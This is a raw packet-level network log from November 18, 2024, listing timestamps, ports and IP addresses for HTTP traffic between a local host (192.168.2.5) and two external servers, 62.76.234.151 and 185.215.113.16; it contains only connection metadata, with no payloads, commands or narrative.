Nov 18, 2024 19:04:22.096071959 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.096111059 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.096132040 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.120779991 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.120800018 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.120816946 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.120892048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.120976925 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121234894 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121282101 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121299028 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121318102 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121318102 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121381998 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121393919 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121409893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121447086 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121447086 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121550083 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121597052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121646881 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121690035 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121723890 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121781111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121841908 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121857882 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121872902 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.121893883 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121893883 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.121939898 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.122275114 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.122339010 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.122349977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.122364998 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.122400045 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.122400999 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.141593933 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.159874916 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.159917116 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.159931898 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.159948111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.159972906 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.159972906 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.159972906 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.159995079 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.160140991 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.160156012 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.160171986 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.160289049 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.160300016 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.160456896 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.160470963 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.160485983 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.160512924 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.160528898 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.160543919 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.160547018 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.160547018 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.160562992 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.160583973 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.169306993 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.169342995 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.169377089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.169409990 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.171288967 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.171353102 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.171525002 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.201081038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.201164961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.201189995 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.201204062 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.201220036 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.201256990 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.201256990 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.219759941 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.229414940 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.229451895 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.229485989 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.229552031 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.235524893 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.235609055 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.235662937 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.241038084 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241054058 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241072893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241209984 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241228104 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241246939 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.241246939 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.241287947 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.241295099 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241333008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241337061 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.241373062 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.241439104 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241456032 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241473913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241497993 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.241497993 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.241520882 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.241822958 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.241986990 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.242726088 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.242752075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.242768049 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.242784023 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.242789030 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.242789030 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.242799997 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.242803097 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.242809057 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.242819071 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.242826939 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.242878914 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.242955923 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.280523062 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.280560017 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.280601025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.280616045 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.280616045 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.280637026 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.280641079 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.280672073 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.280674934 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.280693054 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.280726910 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.280726910 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.280843973 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.280889034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.281095982 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.281112909 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.281142950 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.281224966 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.281244040 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.281260014 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.281286955 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.281327963 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.281410933 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.281482935 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.282203913 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.321656942 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.321676016 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.321695089 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.321723938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.321760893 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.361720085 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.361754894 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.361794949 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.361804962 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.361849070 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.361856937 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.361893892 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.361896038 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.361928940 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.361996889 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.362040043 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.362210035 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.362231970 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.362247944 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.362247944 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.362268925 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.362283945 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.362329960 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.362345934 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.362360001 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.362365961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.362377882 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.362396955 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.363003016 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.363019943 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.363027096 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.363044024 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.363059044 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.363168001 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.363183022 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.363204956 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.363225937 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.363756895 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.363770008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.363791943 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.363801003 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.363821030 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.363874912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.363913059 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.401943922 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.401984930 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.402024031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.402081013 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.402108908 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.402765989 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.402821064 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.402827024 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.402842999 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.402868032 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.402884960 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.403359890 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.403376102 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.403389931 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.403405905 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.403409958 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.403460026 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.403934956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.403983116 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.432825089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.432920933 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.432936907 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.432955027 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.432972908 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.433021069 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.433022022 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.433269978 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.433325052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.433329105 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.433343887 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.433389902 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.433437109 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.433454037 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.433501005 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.434283018 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.441955090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.441971064 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.441987038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.442064047 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.442106962 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.468930006 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.469105005 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.469153881 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.473536968 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.473592043 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.473608017 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.481401920 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.481416941 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.481431961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.481448889 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.481463909 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.481481075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.481484890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.481508017 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.481539965 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.481834888 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.481942892 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.481956005 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.481971025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.482052088 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.482147932 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.482161999 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.482177973 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.482194901 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.482233047 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.482271910 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.482619047 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.482634068 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.482650995 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.482673883 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.482676983 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.482688904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.482713938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.482737064 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.483139038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.483187914 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.483383894 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.483397961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.483429909 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.483731985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.483747959 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.483779907 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.483814001 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.516628981 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.521914959 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.521931887 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.521948099 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.521989107 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.522028923 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.522886992 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.522939920 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.522945881 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.522960901 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.522990942 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.523014069 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.523034096 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.523077965 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.523091078 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.523101091 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.523113012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.523130894 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.523371935 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.523386955 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.523401976 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.523415089 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.523442984 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.528234959 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.528425932 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.528495073 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.539994955 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.540440083 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.540539980 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.561935902 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.561955929 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.561973095 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.562105894 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.601882935 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.601918936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.601943970 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.601963997 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.601968050 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602009058 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602011919 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602054119 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602054119 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602082014 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602098942 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602113008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602122068 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602152109 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602158070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602189064 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602200031 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602200985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602227926 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602247953 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602371931 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602399111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602412939 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602415085 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602452993 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602689981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602705956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602722883 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602737904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.602742910 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.602782011 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.603019953 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.603064060 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.603070974 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.603080034 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.603107929 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.603128910 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.603235006 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.603281975 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.603467941 CET	80	49980	185.215.113.16	192.168.2.5
